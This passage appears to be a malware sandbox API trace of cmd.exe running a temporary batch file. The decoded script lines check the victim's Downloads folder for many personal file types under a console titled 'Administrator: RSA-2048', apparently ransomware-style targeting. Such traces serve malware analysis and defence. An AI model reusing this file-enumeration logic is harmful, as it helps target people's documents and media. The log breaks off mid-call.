SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.060] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.060] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.060] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.060] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.060] SetConsoleInputExeNameW () returned 0x1 [0040.060] GetConsoleOutputCP () returned 0x1b5 [0040.060] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.060] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.061] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.061] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.061] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.061] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.061] GetProcessHeap () returned 0x4e0000 [0040.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0040.062] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d18, lpOverlapped=0x0) returned 1 [0040.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=2352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0040.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF NOT EXIST *.gif goto l\r\n\r\n") returned 27 [0040.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.062] GetFileType (hFile=0x74) returned 0x1 [0040.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0040.062] GetProcessHeap () returned 0x4e0000 [0040.062] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.062] GetProcessHeap () returned 0x4e0000 [0040.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.063] _tell (_FileHandle=3) returned 2352 [0040.063] _close (_FileHandle=3) returned 0 [0040.063] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2d [0040.063] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.063] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.064] GetLastError () returned 0x2 [0040.064] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.064] GetLastError () returned 0x6 [0040.064] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.064] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.064] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.064] SetFilePointer (in: hFile=0x74, lDistanceToMove=2352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0040.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.064] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0040.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.064] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0040.064] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.064] GetFileType (hFile=0x74) returned 0x1 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0040.065] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=2379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0040.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l\r\nPowerShell\\v1.0\\cd..") returned 27 [0040.065] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0040.065] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.065] GetFileType (hFile=0x74) returned 0x1 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0040.065] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=2406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0040.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l\r\n") returned 27 [0040.065] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0040.065] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.065] GetFileType (hFile=0x74) returned 0x1 [0040.065] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0040.066] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.066] SetFilePointer (in: hFile=0x74, lDistanceToMove=2433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0040.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l\r\n") returned 27 [0040.066] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.066] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0040.066] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.066] GetFileType (hFile=0x74) returned 0x1 [0040.066] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0040.066] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.066] SetFilePointer (in: hFile=0x74, lDistanceToMove=2460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0040.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l\r\n") returned 27 [0040.066] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.066] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0040.066] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.066] GetFileType (hFile=0x74) returned 0x1 [0040.066] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0040.066] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=2487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0040.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l\r\n") returned 27 [0040.067] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0040.067] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.067] GetFileType (hFile=0x74) returned 0x1 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0040.067] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=2514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0040.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l\r\n") returned 27 [0040.067] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0040.067] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.067] GetFileType (hFile=0x74) returned 0x1 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0040.067] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=2541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0040.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l\r\n") returned 27 [0040.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0040.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.068] GetFileType (hFile=0x74) returned 0x1 [0040.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0040.068] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=2569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0040.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l\r\nowerShell\\v1.0\\cd..") returned 28 [0040.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0040.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.068] GetFileType (hFile=0x74) returned 0x1 [0040.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0040.068] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=2596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0040.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l\r\n\n") returned 27 [0040.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0040.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.069] GetFileType (hFile=0x74) returned 0x1 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0040.069] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=2623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0040.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l\r\n") returned 27 [0040.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0040.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.069] GetFileType (hFile=0x74) returned 0x1 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0040.069] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=2650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0040.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l\r\n") returned 27 [0040.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0040.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.069] GetFileType (hFile=0x74) returned 0x1 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0040.070] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=2677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0040.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l\r\n") returned 27 [0040.070] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0040.070] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.070] GetFileType (hFile=0x74) returned 0x1 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0040.070] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=2704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0040.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l\r\n") returned 27 [0040.070] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0040.070] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.070] GetFileType (hFile=0x74) returned 0x1 [0040.070] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0040.071] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=2731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0040.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l\r\n") returned 27 [0040.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0040.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.071] GetFileType (hFile=0x74) returned 0x1 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0040.071] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=2758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0040.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l\r\n") returned 27 [0040.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0040.071] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.071] GetFileType (hFile=0x74) returned 0x1 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0040.071] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.071] SetFilePointer (in: hFile=0x74, lDistanceToMove=2786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0040.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l\r\n") returned 28 [0040.072] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0040.072] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.072] GetFileType (hFile=0x74) returned 0x1 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0040.072] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=2792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0040.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l\r\n") returned 6 [0040.072] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0040.072] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.072] GetFileType (hFile=0x74) returned 0x1 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0040.072] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, 